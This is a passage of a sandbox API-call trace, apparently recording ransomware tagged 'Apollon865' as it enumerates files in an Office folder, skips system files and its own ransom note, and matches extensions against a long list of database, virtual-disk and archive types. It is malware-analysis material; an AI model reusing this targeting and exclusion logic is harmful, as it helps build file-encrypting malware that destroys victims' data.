	[0065.436] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x176f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CURRENCY.GIF", cAlternateFileName="")) returned 1
	[0065.436] lstrcmpiW (lpString1="CURRENCY.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.436] lstrcmpiW (lpString1="CURRENCY.GIF", lpString2="Apollon865.txt.exe") returned 1
	[0065.436] lstrcmpiW (lpString1="CURRENCY.GIF", lpString2=".") returned 1
	[0065.436] lstrcmpiW (lpString1="CURRENCY.GIF", lpString2="..") returned 1
	[0065.436] lstrcmpiW (lpString1="CURRENCY.GIF", lpString2="windows") returned -1
	[0065.436] lstrcmpiW (lpString1="CURRENCY.GIF", lpString2="bootmgr") returned 1
	[0065.436] lstrcmpiW (lpString1="CURRENCY.GIF", lpString2="temp") returned -1
	[0065.436] lstrcmpiW (lpString1="CURRENCY.GIF", lpString2="pagefile.sys") returned -1
	[0065.436] lstrcmpiW (lpString1="CURRENCY.GIF", lpString2="boot") returned 1
	[0065.436] lstrcmpiW (lpString1="CURRENCY.GIF", lpString2="ids.txt") returned -1
	[0065.436] lstrcmpiW (lpString1="CURRENCY.GIF", lpString2="ntuser.dat") returned -1
	[0065.436] lstrcmpiW (lpString1="CURRENCY.GIF", lpString2="perflogs") returned -1
	[0065.436] lstrcmpiW (lpString1="CURRENCY.GIF", lpString2="MSBuild") returned -1
	[0065.436] lstrlenW (lpString="CURRENCY.GIF") returned 12
	[0065.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\*") returned 51
	[0065.436] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="CURRENCY.GIF" | out: lpString1="CURRENCY.GIF") returned="CURRENCY.GIF"
	[0065.437] lstrlenW (lpString="CURRENCY.GIF") returned 12
	[0065.437] lstrlenW (lpString="Apollon865") returned 10
	[0065.437] lstrcmpiW (lpString1="RRENCY.GIF", lpString2="Apollon865") returned 1
	[0065.437] lstrlenW (lpString=".dll") returned 4
	[0065.437] lstrcmpiW (lpString1="CURRENCY.GIF", lpString2=".dll") returned 1
	[0065.437] lstrlenW (lpString=".lnk") returned 4
	[0065.437] lstrcmpiW (lpString1="CURRENCY.GIF", lpString2=".lnk") returned 1
	[0065.437] lstrlenW (lpString=".ini") returned 4
	[0065.437] lstrcmpiW (lpString1="CURRENCY.GIF", lpString2=".ini") returned 1
	[0065.437] lstrlenW (lpString=".sys") returned 4
	[0065.437] lstrcmpiW (lpString1="CURRENCY.GIF", lpString2=".sys") returned 1
	[0065.437] lstrlenW (lpString="CURRENCY.GIF") returned 12
	[0065.437] lstrlenW (lpString="bak") returned 3
	[0065.437] lstrcmpiW (lpString1="GIF", lpString2="bak") returned 1
	[0065.437] lstrlenW (lpString="ba_") returned 3
	[0065.437] lstrcmpiW (lpString1="GIF", lpString2="ba_") returned 1
	[0065.437] lstrlenW (lpString="dbb") returned 3
	[0065.437] lstrcmpiW (lpString1="GIF", lpString2="dbb") returned 1
	[0065.437] lstrlenW (lpString="vmdk") returned 4
	[0065.437] lstrcmpiW (lpString1=".GIF", lpString2="vmdk") returned -1
	[0065.437] lstrlenW (lpString="rar") returned 3
	[0065.437] lstrcmpiW (lpString1="GIF", lpString2="rar") returned -1
	[0065.437] lstrlenW (lpString="zip") returned 3
	[0065.437] lstrcmpiW (lpString1="GIF", lpString2="zip") returned -1
	[0065.437] lstrlenW (lpString="tgz") returned 3
	[0065.437] lstrcmpiW (lpString1="GIF", lpString2="tgz") returned -1
	[0065.437] lstrlenW (lpString="vbox") returned 4
	[0065.437] lstrcmpiW (lpString1=".GIF", lpString2="vbox") returned -1
	[0065.437] lstrlenW (lpString="vdi") returned 3
	[0065.437] lstrcmpiW (lpString1="GIF", lpString2="vdi") returned -1
	[0065.437] lstrlenW (lpString="vhd") returned 3
	[0065.437] lstrcmpiW (lpString1="GIF", lpString2="vhd") returned -1
	[0065.437] lstrlenW (lpString="vhdx") returned 4
	[0065.437] lstrcmpiW (lpString1=".GIF", lpString2="vhdx") returned -1
	[0065.438] lstrlenW (lpString="avhd") returned 4
	[0065.438] lstrcmpiW (lpString1=".GIF", lpString2="avhd") returned -1
	[0065.438] lstrlenW (lpString="db") returned 2
	[0065.438] lstrcmpiW (lpString1="IF", lpString2="db") returned 1
	[0065.438] lstrlenW (lpString="db2") returned 3
	[0065.438] lstrcmpiW (lpString1="GIF", lpString2="db2") returned 1
	[0065.438] lstrlenW (lpString="db3") returned 3
	[0065.438] lstrcmpiW (lpString1="GIF", lpString2="db3") returned 1
	[0065.438] lstrlenW (lpString="dbf") returned 3
	[0065.438] lstrcmpiW (lpString1="GIF", lpString2="dbf") returned 1
	[0065.438] lstrlenW (lpString="mdf") returned 3
	[0065.438] lstrcmpiW (lpString1="GIF", lpString2="mdf") returned -1
	[0065.438] lstrlenW (lpString="mdb") returned 3
	[0065.438] lstrcmpiW (lpString1="GIF", lpString2="mdb") returned -1
	[0065.438] lstrlenW (lpString="sql") returned 3
	[0065.438] lstrcmpiW (lpString1="GIF", lpString2="sql") returned -1
	[0065.438] lstrlenW (lpString="sqlite") returned 6
	[0065.438] lstrcmpiW (lpString1="CY.GIF", lpString2="sqlite") returned -1
	[0065.438] lstrlenW (lpString="sqlite3") returned 7
	[0065.438] lstrcmpiW (lpString1="NCY.GIF", lpString2="sqlite3") returned -1
	[0065.438] lstrlenW (lpString="sqlitedb") returned 8
	[0065.438] lstrcmpiW (lpString1="ENCY.GIF", lpString2="sqlitedb") returned -1
	[0065.438] lstrlenW (lpString="xml") returned 3
	[0065.438] lstrcmpiW (lpString1="GIF", lpString2="xml") returned -1
	[0065.438] lstrlenW (lpString="$er") returned 3
	[0065.438] lstrcmpiW (lpString1="GIF", lpString2="$er") returned 1
	[0065.438] lstrlenW (lpString="4dd") returned 3
	[0065.438] lstrcmpiW (lpString1="GIF", lpString2="4dd") returned 1
	[0065.438] lstrlenW (lpString="4dl") returned 3
	[0065.438] lstrcmpiW (lpString1="GIF", lpString2="4dl") returned 1
	[0065.438] lstrlenW (lpString="^^^") returned 3
	[0065.438] lstrcmpiW (lpString1="GIF", lpString2="^^^") returned 1
	[0065.438] lstrlenW (lpString="abs") returned 3
	[0065.438] lstrcmpiW (lpString1="GIF", lpString2="abs") returned 1
	[0065.438] lstrlenW (lpString="abx") returned 3
	[0065.438] lstrcmpiW (lpString1="GIF", lpString2="abx") returned 1
	[0065.439] lstrlenW (lpString="accdb") returned 5
	[0065.439] lstrcmpiW (lpString1="Y.GIF", lpString2="accdb") returned 1
	[0065.439] lstrlenW (lpString="accdc") returned 5
	[0065.439] lstrcmpiW (lpString1="Y.GIF", lpString2="accdc") returned 1
	[0065.439] lstrlenW (lpString="accde") returned 5
	[0065.439] lstrcmpiW (lpString1="Y.GIF", lpString2="accde") returned 1
	[0065.439] lstrlenW (lpString="accdr") returned 5
	[0065.439] lstrcmpiW (lpString1="Y.GIF", lpString2="accdr") returned 1
	[0065.439] lstrlenW (lpString="accdt") returned 5
	[0065.439] lstrcmpiW (lpString1="Y.GIF", lpString2="accdt") returned 1
	[0065.439] lstrlenW (lpString="accdw") returned 5
	[0065.439] lstrcmpiW (lpString1="Y.GIF", lpString2="accdw") returned 1
	[0065.439] lstrlenW (lpString="accft") returned 5
	[0065.439] lstrcmpiW (lpString1="Y.GIF", lpString2="accft") returned 1
	[0065.439] lstrlenW (lpString="adb") returned 3
	[0065.439] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1
	[0065.439] lstrlenW (lpString="adb") returned 3
	[0065.439] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1
	[0065.439] lstrlenW (lpString="ade") returned 3
	[0065.439] lstrcmpiW (lpString1="GIF", lpString2="ade") returned 1
	[0065.439] lstrlenW (lpString="adf") returned 3
	[0065.439] lstrcmpiW (lpString1="GIF", lpString2="adf") returned 1
	[0065.439] lstrlenW (lpString="adn") returned 3
	[0065.439] lstrcmpiW (lpString1="GIF", lpString2="adn") returned 1
	[0065.439] lstrlenW (lpString="adp") returned 3
	[0065.439] lstrcmpiW (lpString1="GIF", lpString2="adp") returned 1
	[0065.439] lstrlenW (lpString="alf") returned 3
	[0065.439] lstrcmpiW (lpString1="GIF", lpString2="alf") returned 1
	[0065.439] lstrlenW (lpString="ask") returned 3
	[0065.439] lstrcmpiW (lpString1="GIF", lpString2="ask") returned 1
	[0065.439] lstrlenW (lpString="btr") returned 3
	[0065.439] lstrcmpiW (lpString1="GIF", lpString2="btr") returned 1
	[0065.439] lstrlenW (lpString="cat") returned 3
	[0065.439] lstrcmpiW (lpString1="GIF", lpString2="cat") returned 1
	[0065.439] lstrlenW (lpString="cdb") returned 3
	[0065.439] lstrcmpiW (lpString1="GIF", lpString2="cdb") returned 1
	[0065.440] lstrlenW (lpString="ckp") returned 3
	[0065.440] lstrcmpiW (lpString1="GIF", lpString2="ckp") returned 1
	[0065.440] lstrlenW (lpString="cma") returned 3
	[0065.440] lstrcmpiW (lpString1="GIF", lpString2="cma") returned 1
	[0065.440] lstrlenW (lpString="cpd") returned 3
	[0065.440] lstrcmpiW (lpString1="GIF", lpString2="cpd") returned 1
	[0065.440] lstrlenW (lpString="dacpac") returned 6
	[0065.440] lstrcmpiW (lpString1="CY.GIF", lpString2="dacpac") returned -1
	[0065.440] lstrlenW (lpString="dad") returned 3
	[0065.440] lstrcmpiW (lpString1="GIF", lpString2="dad") returned 1
	[0065.440] lstrlenW (lpString="dadiagrams") returned 10
	[0065.440] lstrcmpiW (lpString1="RRENCY.GIF", lpString2="dadiagrams") returned 1
	[0065.440] lstrlenW (lpString="daschema") returned 8
	[0065.440] lstrcmpiW (lpString1="ENCY.GIF", lpString2="daschema") returned 1
	[0065.440] lstrlenW (lpString="db-journal") returned 10
	[0065.440] lstrcmpiW (lpString1="RRENCY.GIF", lpString2="db-journal") returned 1
	[0065.440] lstrlenW (lpString="db-shm") returned 6
	[0065.440] lstrcmpiW (lpString1="CY.GIF", lpString2="db-shm") returned -1
	[0065.440] lstrlenW (lpString="db-wal") returned 6
	[0065.440] lstrcmpiW (lpString1="CY.GIF", lpString2="db-wal") returned -1
	[0065.440] lstrlenW (lpString="dbc") returned 3
	[0065.440] lstrcmpiW (lpString1="GIF", lpString2="dbc") returned 1
	[0065.440] lstrlenW (lpString="dbs") returned 3
	[0065.440] lstrcmpiW (lpString1="GIF", lpString2="dbs") returned 1
	[0065.440] lstrlenW (lpString="dbt") returned 3
	[0065.440] lstrcmpiW (lpString1="GIF", lpString2="dbt") returned 1
	[0065.440] lstrlenW (lpString="dbv") returned 3
	[0065.440] lstrcmpiW (lpString1="GIF", lpString2="dbv") returned 1
	[0065.440] lstrlenW (lpString="dbx") returned 3
	[0065.440] lstrcmpiW (lpString1="GIF", lpString2="dbx") returned 1
	[0065.440] lstrlenW (lpString="dcb") returned 3
	[0065.440] lstrcmpiW (lpString1="GIF", lpString2="dcb") returned 1
	[0065.440] lstrlenW (lpString="dct") returned 3
	[0065.440] lstrcmpiW (lpString1="GIF", lpString2="dct") returned 1
	[0065.440] lstrlenW (lpString="dcx") returned 3
	[0065.441] lstrcmpiW (lpString1="GIF", lpString2="dcx") returned 1
	[0065.441] lstrlenW (lpString="ddl") returned 3
	[0065.441] lstrcmpiW (lpString1="GIF", lpString2="ddl") returned 1
	[0065.441] lstrlenW (lpString="dlis") returned 4
	[0065.441] lstrcmpiW (lpString1=".GIF", lpString2="dlis") returned -1
	[0065.441] lstrlenW (lpString="dp1") returned 3
	[0065.441] lstrcmpiW (lpString1="GIF", lpString2="dp1") returned 1
	[0065.441] lstrlenW (lpString="dqy") returned 3
	[0065.441] lstrcmpiW (lpString1="GIF", lpString2="dqy") returned 1
	[0065.441] lstrlenW (lpString="dsk") returned 3
	[0065.441] lstrcmpiW (lpString1="GIF", lpString2="dsk") returned 1
	[0065.441] lstrlenW (lpString="dsn") returned 3
	[0065.441] lstrcmpiW (lpString1="GIF", lpString2="dsn") returned 1
	[0065.441] lstrlenW (lpString="dtsx") returned 4
	[0065.441] lstrcmpiW (lpString1=".GIF", lpString2="dtsx") returned -1
	[0065.441] lstrlenW (lpString="dxl") returned 3
	[0065.441] lstrcmpiW (lpString1="GIF", lpString2="dxl") returned 1
	[0065.441] lstrlenW (lpString="eco") returned 3
	[0065.441] lstrcmpiW (lpString1="GIF", lpString2="eco") returned 1
	[0065.441] lstrlenW (lpString="ecx") returned 3
	[0065.441] lstrcmpiW (lpString1="GIF", lpString2="ecx") returned 1
	[0065.441] lstrlenW (lpString="edb") returned 3
	[0065.441] lstrcmpiW (lpString1="GIF", lpString2="edb") returned 1
	[0065.441] lstrlenW (lpString="epim") returned 4
	[0065.441] lstrcmpiW (lpString1=".GIF", lpString2="epim") returned -1
	[0065.441] lstrlenW (lpString="fcd") returned 3
	[0065.441] lstrcmpiW (lpString1="GIF", lpString2="fcd") returned 1
	[0065.441] lstrlenW (lpString="fdb") returned 3
	[0065.441] lstrcmpiW (lpString1="GIF", lpString2="fdb") returned 1
	[0065.441] lstrlenW (lpString="fic") returned 3
	[0065.441] lstrcmpiW (lpString1="GIF", lpString2="fic") returned 1
	[0065.441] lstrlenW (lpString="flexolibrary") returned 12
	[0065.441] lstrlenW (lpString="fm5") returned 3
	[0065.441] lstrcmpiW (lpString1="GIF", lpString2="fm5") returned 1
	[0065.441] lstrlenW (lpString="fmp") returned 3
	[0065.442] lstrcmpiW (lpString1="GIF", lpString2="fmp") returned 1
	[0065.442] lstrlenW (lpString="fmp12") returned 5
	[0065.442] lstrcmpiW (lpString1="Y.GIF", lpString2="fmp12") returned 1
	[0065.442] lstrlenW (lpString="fmpsl") returned 5
	[0065.442] lstrcmpiW (lpString1="Y.GIF", lpString2="fmpsl") returned 1
	[0065.442] lstrlenW (lpString="fol") returned 3
	[0065.442] lstrcmpiW (lpString1="GIF", lpString2="fol") returned 1
	[0065.442] lstrlenW (lpString="fp3") returned 3
	[0065.442] lstrcmpiW (lpString1="GIF", lpString2="fp3") returned 1
	[0065.442] lstrlenW (lpString="fp4") returned 3
	[0065.442] lstrcmpiW (lpString1="GIF", lpString2="fp4") returned 1
	[0065.442] lstrlenW (lpString="fp5") returned 3
	[0065.442] lstrcmpiW (lpString1="GIF", lpString2="fp5") returned 1
	[0065.442] lstrlenW (lpString="fp7") returned 3
	[0065.442] lstrcmpiW (lpString1="GIF", lpString2="fp7") returned 1
	[0065.442] lstrlenW (lpString="fpt") returned 3
	[0065.442] lstrcmpiW (lpString1="GIF", lpString2="fpt") returned 1
	[0065.442] lstrlenW (lpString="frm") returned 3
	[0065.442] lstrcmpiW (lpString1="GIF", lpString2="frm") returned 1
	[0065.442] lstrlenW (lpString="gdb") returned 3
	[0065.442] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1
	[0065.442] lstrlenW (lpString="gdb") returned 3
	[0065.442] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1
	[0065.442] lstrlenW (lpString="grdb") returned 4
	[0065.442] lstrcmpiW (lpString1=".GIF", lpString2="grdb") returned -1
	[0065.442] lstrlenW (lpString="gwi") returned 3
	[0065.442] lstrcmpiW (lpString1="GIF", lpString2="gwi") returned -1
	[0065.442] lstrlenW (lpString="hdb") returned 3
	[0065.442] lstrcmpiW (lpString1="GIF", lpString2="hdb") returned -1
	[0065.442] lstrlenW (lpString="his") returned 3
	[0065.442] lstrcmpiW (lpString1="GIF", lpString2="his") returned -1
	[0065.442] lstrlenW (lpString="ib") returned 2
	[0065.442] lstrcmpiW (lpString1="IF", lpString2="ib") returned 1
	[0065.442] lstrlenW (lpString="idb") returned 3
	[0065.443] lstrcmpiW (lpString1="GIF", lpString2="idb") returned -1
	[0065.443] lstrlenW (lpString="ihx") returned 3
	[0065.443] lstrcmpiW (lpString1="GIF", lpString2="ihx") returned -1
	[0065.443] lstrlenW (lpString="itdb") returned 4
	[0065.443] lstrcmpiW (lpString1=".GIF", lpString2="itdb") returned -1
	[0065.443] lstrlenW (lpString="itw") returned 3
	[0065.443] lstrcmpiW (lpString1="GIF", lpString2="itw") returned -1
	[0065.443] lstrlenW (lpString="jet") returned 3
	[0065.443] lstrcmpiW (lpString1="GIF", lpString2="jet") returned -1
	[0065.443] lstrlenW (lpString="jtx") returned 3
	[0065.443] lstrcmpiW (lpString1="GIF", lpString2="jtx") returned -1
	[0065.443] lstrlenW (lpString="kdb") returned 3
	[0065.443] lstrcmpiW (lpString1="GIF", lpString2="kdb") returned -1
	[0065.443] lstrlenW (lpString="kexi") returned 4
	[0065.443] lstrcmpiW (lpString1=".GIF", lpString2="kexi") returned -1
	[0065.443] lstrlenW (lpString="kexic") returned 5
	[0065.443] lstrcmpiW (lpString1="Y.GIF", lpString2="kexic") returned 1
	[0065.443] lstrlenW (lpString="kexis") returned 5
	[0065.443] lstrcmpiW (lpString1="Y.GIF", lpString2="kexis") returned 1
	[0065.443] lstrlenW (lpString="lgc") returned 3
	[0065.443] lstrcmpiW (lpString1="GIF", lpString2="lgc") returned -1
	[0065.443] lstrlenW (lpString="lwx") returned 3
	[0065.443] lstrcmpiW (lpString1="GIF", lpString2="lwx") returned -1
	[0065.443] lstrlenW (lpString="maf") returned 3
	[0065.443] lstrcmpiW (lpString1="GIF", lpString2="maf") returned -1
	[0065.443] lstrlenW (lpString="maq") returned 3
	[0065.443] lstrcmpiW (lpString1="GIF", lpString2="maq") returned -1
	[0065.443] lstrlenW (lpString="mar") returned 3
	[0065.443] lstrcmpiW (lpString1="GIF", lpString2="mar") returned -1
	[0065.443] lstrlenW (lpString="marshal") returned 7
	[0065.444] lstrcmpiW (lpString1="NCY.GIF", lpString2="marshal") returned 1
	[0065.444] lstrlenW (lpString="mas") returned 3
	[0065.444] lstrcmpiW (lpString1="GIF", lpString2="mas") returned -1
	[0065.444] lstrlenW (lpString="mav") returned 3
	[0065.444] lstrcmpiW (lpString1="GIF", lpString2="mav") returned -1
	[0065.444] lstrlenW (lpString="maw") returned 3
	[0065.444] lstrcmpiW (lpString1="GIF", lpString2="maw") returned -1
	[0065.444] lstrlenW (lpString="mdbhtml") returned 7
	[0065.444] lstrcmpiW (lpString1="NCY.GIF", lpString2="mdbhtml") returned 1
	[0065.444] lstrlenW (lpString="mdn") returned 3
	[0065.444] lstrcmpiW (lpString1="GIF", lpString2="mdn") returned -1
	[0065.444] lstrlenW (lpString="mdt") returned 3
	[0065.444] lstrcmpiW (lpString1="GIF", lpString2="mdt") returned -1
	[0065.444] lstrlenW (lpString="mfd") returned 3
	[0065.444] lstrcmpiW (lpString1="GIF", lpString2="mfd") returned -1
	[0065.444] lstrlenW (lpString="mpd") returned 3
	[0065.444] lstrcmpiW (lpString1="GIF", lpString2="mpd") returned -1
	[0065.444] lstrlenW (lpString="mrg") returned 3
	[0065.444] lstrcmpiW (lpString1="GIF", lpString2="mrg") returned -1
	[0065.444] lstrlenW (lpString="mud") returned 3
	[0065.444] lstrcmpiW (lpString1="GIF", lpString2="mud") returned -1
	[0065.444] lstrlenW (lpString="mwb") returned 3
	[0065.444] lstrcmpiW (lpString1="GIF", lpString2="mwb") returned -1
	[0065.444] lstrlenW (lpString="myd") returned 3
	[0065.444] lstrcmpiW (lpString1="GIF", lpString2="myd") returned -1
	[0065.444] lstrlenW (lpString="ndf") returned 3
	[0065.444] lstrcmpiW (lpString1="GIF", lpString2="ndf") returned -1
	[0065.444] lstrlenW (lpString="nnt") returned 3
	[0065.444] lstrcmpiW (lpString1="GIF", lpString2="nnt") returned -1
	[0065.444] lstrlenW (lpString="nrmlib") returned 6
	[0065.444] lstrcmpiW (lpString1="CY.GIF", lpString2="nrmlib") returned -1
	[0065.444] lstrlenW (lpString="ns2") returned 3
	[0065.444] lstrcmpiW (lpString1="GIF", lpString2="ns2") returned -1
	[0065.444] lstrlenW (lpString="ns3") returned 3
	[0065.444] lstrcmpiW (lpString1="GIF", lpString2="ns3") returned -1
	[0065.445] lstrlenW (lpString="ns4") returned 3
	[0065.445] lstrcmpiW (lpString1="GIF", lpString2="ns4") returned -1
	[0065.445] lstrlenW (lpString="nsf") returned 3
	[0065.445] lstrcmpiW (lpString1="GIF", lpString2="nsf") returned -1
	[0065.445] lstrlenW (lpString="nv") returned 2
	[0065.445] lstrcmpiW (lpString1="IF", lpString2="nv") returned -1
	[0065.445] lstrlenW (lpString="nv2") returned 3
	[0065.445] lstrcmpiW (lpString1="GIF", lpString2="nv2") returned -1
	[0065.445] lstrlenW (lpString="nwdb") returned 4
	[0065.445] lstrcmpiW (lpString1=".GIF", lpString2="nwdb") returned -1
	[0065.445] lstrlenW (lpString="nyf") returned 3
	[0065.445] lstrcmpiW (lpString1="GIF", lpString2="nyf") returned -1
	[0065.445] lstrlenW (lpString="odb") returned 3
	[0065.445] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1
	[0065.445] lstrlenW (lpString="odb") returned 3
	[0065.445] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1
	[0065.445] lstrlenW (lpString="oqy") returned 3
	[0065.445] lstrcmpiW (lpString1="GIF", lpString2="oqy") returned -1
	[0065.445] lstrlenW (lpString="ora") returned 3
	[0065.445] lstrcmpiW (lpString1="GIF", lpString2="ora") returned -1
	[0065.445] lstrlenW (lpString="orx") returned 3
	[0065.445] lstrcmpiW (lpString1="GIF", lpString2="orx") returned -1
	[0065.445] lstrlenW (lpString="owc") returned 3
	[0065.445] lstrcmpiW (lpString1="GIF", lpString2="owc") returned -1
	[0065.445] lstrlenW (lpString="p96") returned 3
	[0065.445] lstrcmpiW (lpString1="GIF", lpString2="p96") returned -1
	[0065.445] lstrlenW (lpString="p97") returned 3
	[0065.445] lstrcmpiW (lpString1="GIF", lpString2="p97") returned -1
	[0065.445] lstrlenW (lpString="pan") returned 3
	[0065.445] lstrcmpiW (lpString1="GIF", lpString2="pan") returned -1
	[0065.445] lstrlenW (lpString="pdb") returned 3
	[0065.445] lstrcmpiW (lpString1="GIF", lpString2="pdb") returned -1
	[0065.445] lstrlenW (lpString="pdm") returned 3
	[0065.445] lstrcmpiW (lpString1="GIF", lpString2="pdm") returned -1
	[0065.445] lstrlenW (lpString="pnz") returned 3
	[0065.446] lstrcmpiW (lpString1="GIF", lpString2="pnz") returned -1
	[0065.446] lstrlenW (lpString="qry") returned 3
	[0065.446] lstrcmpiW (lpString1="GIF", lpString2="qry") returned -1
	[0065.446] lstrlenW (lpString="qvd") returned 3
	[0065.446] lstrcmpiW (lpString1="GIF", lpString2="qvd") returned -1
	[0065.446] lstrlenW (lpString="rbf") returned 3
	[0065.446] lstrcmpiW (lpString1="GIF", lpString2="rbf") returned -1
	[0065.446] lstrlenW (lpString="rctd") returned 4
	[0065.446] lstrcmpiW (lpString1=".GIF", lpString2="rctd") returned -1
	[0065.446] lstrlenW (lpString="rod") returned 3
	[0065.446] lstrcmpiW (lpString1="GIF", lpString2="rod") returned -1
	[0065.446] lstrlenW (lpString="rodx") returned 4
	[0065.446] lstrcmpiW (lpString1=".GIF", lpString2="rodx") returned -1
	[0065.446] lstrlenW (lpString="rpd") returned 3
	[0065.446] lstrcmpiW (lpString1="GIF", lpString2="rpd") returned -1
	[0065.446] lstrlenW (lpString="rsd") returned 3
	[0065.446] lstrcmpiW (lpString1="GIF", lpString2="rsd") returned -1
	[0065.446] lstrlenW (lpString="sas7bdat") returned 8
	[0065.446] lstrcmpiW (lpString1="ENCY.GIF", lpString2="sas7bdat") returned -1
	[0065.446] lstrlenW (lpString="sbf") returned 3
	[0065.446] lstrcmpiW (lpString1="GIF", lpString2="sbf") returned -1
	[0065.446] lstrlenW (lpString="scx") returned 3
	[0065.446] lstrcmpiW (lpString1="GIF", lpString2="scx") returned -1
	[0065.446] lstrlenW (lpString="sdb") returned 3
	[0065.446] lstrcmpiW (lpString1="GIF", lpString2="sdb") returned -1
	[0065.446] lstrlenW (lpString="sdc") returned 3
	[0065.446] lstrcmpiW (lpString1="GIF", lpString2="sdc") returned -1
	[0065.446] lstrlenW (lpString="sdf") returned 3
	[0065.446] lstrcmpiW (lpString1="GIF", lpString2="sdf") returned -1
	[0065.446] lstrlenW (lpString="sis") returned 3
	[0065.446] lstrcmpiW (lpString1="GIF", lpString2="sis") returned -1
	[0065.446] lstrlenW (lpString="spq") returned 3
	[0065.446] lstrcmpiW (lpString1="GIF", lpString2="spq") returned -1
	[0065.446] lstrlenW (lpString="te") returned 2
	[0065.446] lstrcmpiW (lpString1="IF", lpString2="te") returned -1
	[0065.447] lstrlenW (lpString="teacher") returned 7
	[0065.447] lstrcmpiW (lpString1="NCY.GIF", lpString2="teacher") returned -1
	[0065.447] lstrlenW (lpString="tmd") returned 3
	[0065.447] lstrcmpiW (lpString1="GIF", lpString2="tmd") returned -1
	[0065.447] lstrlenW (lpString="tps") returned 3
	[0065.447] lstrcmpiW (lpString1="GIF", lpString2="tps") returned -1
	[0065.447] lstrlenW (lpString="trc") returned 3
	[0065.447] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1
	[0065.447] lstrlenW (lpString="trc") returned 3
	[0065.447] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1
	[0065.447] lstrlenW (lpString="trm") returned 3
	[0065.447] lstrcmpiW (lpString1="GIF", lpString2="trm") returned -1
	[0065.447] lstrlenW (lpString="udb") returned 3
	[0065.447] lstrcmpiW (lpString1="GIF", lpString2="udb") returned -1
	[0065.447] lstrlenW (lpString="udl") returned 3
	[0065.447] lstrcmpiW (lpString1="GIF", lpString2="udl") returned -1
	[0065.447] lstrlenW (lpString="usr") returned 3
	[0065.447] lstrcmpiW (lpString1="GIF", lpString2="usr") returned -1
	[0065.447] lstrlenW (lpString="v12") returned 3
	[0065.447] lstrcmpiW (lpString1="GIF", lpString2="v12") returned -1
	[0065.447] lstrlenW (lpString="vis") returned 3
	[0065.447] lstrcmpiW (lpString1="GIF", lpString2="vis") returned -1
	[0065.447] lstrlenW (lpString="vpd") returned 3
	[0065.447] lstrcmpiW (lpString1="GIF", lpString2="vpd") returned -1
	[0065.447] lstrlenW (lpString="vvv") returned 3
	[0065.447] lstrcmpiW (lpString1="GIF", lpString2="vvv") returned -1
	[0065.447] lstrlenW (lpString="wdb") returned 3
	[0065.447] lstrcmpiW (lpString1="GIF", lpString2="wdb") returned -1
	[0065.447] lstrlenW (lpString="wmdb") returned 4
	[0065.447] lstrcmpiW (lpString1=".GIF", lpString2="wmdb") returned -1
	[0065.447] lstrlenW (lpString="wrk") returned 3
	[0065.447] lstrcmpiW (lpString1="GIF", lpString2="wrk") returned -1
	[0065.447] lstrlenW (lpString="xdb") returned 3
	[0065.447] lstrcmpiW (lpString1="GIF", lpString2="xdb") returned -1
	[0065.447] lstrlenW (lpString="xld") returned 3
	[0065.447] lstrcmpiW (lpString1="GIF", lpString2="xld") returned -1
	[0065.448] lstrlenW (lpString="xmlff") returned 5
	[0065.448] lstrcmpiW (lpString1="Y.GIF", lpString2="xmlff") returned 1
	[0065.448] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7886800, ftCreationTime.dwHighDateTime=0x1c05f78, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7886800, ftLastWriteTime.dwHighDateTime=0x1c05f78, nFileSizeHigh=0x0, nFileSizeLow=0x224, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CURRENCY.HTM", cAlternateFileName="")) returned 1
	[0065.448] lstrcmpiW (lpString1="CURRENCY.HTM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.448] lstrcmpiW (lpString1="CURRENCY.HTM", lpString2="Apollon865.txt.exe") returned 1
	[0065.448] lstrcmpiW (lpString1="CURRENCY.HTM", lpString2=".") returned 1
	[0065.448] lstrcmpiW (lpString1="CURRENCY.HTM", lpString2="..") returned 1
	[0065.448] lstrcmpiW (lpString1="CURRENCY.HTM", lpString2="windows") returned -1
	[0065.448] lstrcmpiW (lpString1="CURRENCY.HTM", lpString2="bootmgr") returned 1
	[0065.448] lstrcmpiW (lpString1="CURRENCY.HTM", lpString2="temp") returned -1
	[0065.448] lstrcmpiW (lpString1="CURRENCY.HTM", lpString2="pagefile.sys") returned -1
	[0065.448] lstrcmpiW (lpString1="CURRENCY.HTM", lpString2="boot") returned 1
	[0065.448] lstrcmpiW (lpString1="CURRENCY.HTM", lpString2="ids.txt") returned -1
	[0065.448] lstrcmpiW (lpString1="CURRENCY.HTM", lpString2="ntuser.dat") returned -1
	[0065.448] lstrcmpiW (lpString1="CURRENCY.HTM", lpString2="perflogs") returned -1
	[0065.448] lstrcmpiW (lpString1="CURRENCY.HTM", lpString2="MSBuild") returned -1
	[0065.448] lstrlenW (lpString="CURRENCY.HTM") returned 12
	[0065.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF") returned 62
	[0065.448] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="CURRENCY.HTM" | out: lpString1="CURRENCY.HTM") returned="CURRENCY.HTM"
	[0065.448] lstrlenW (lpString="CURRENCY.HTM") returned 12
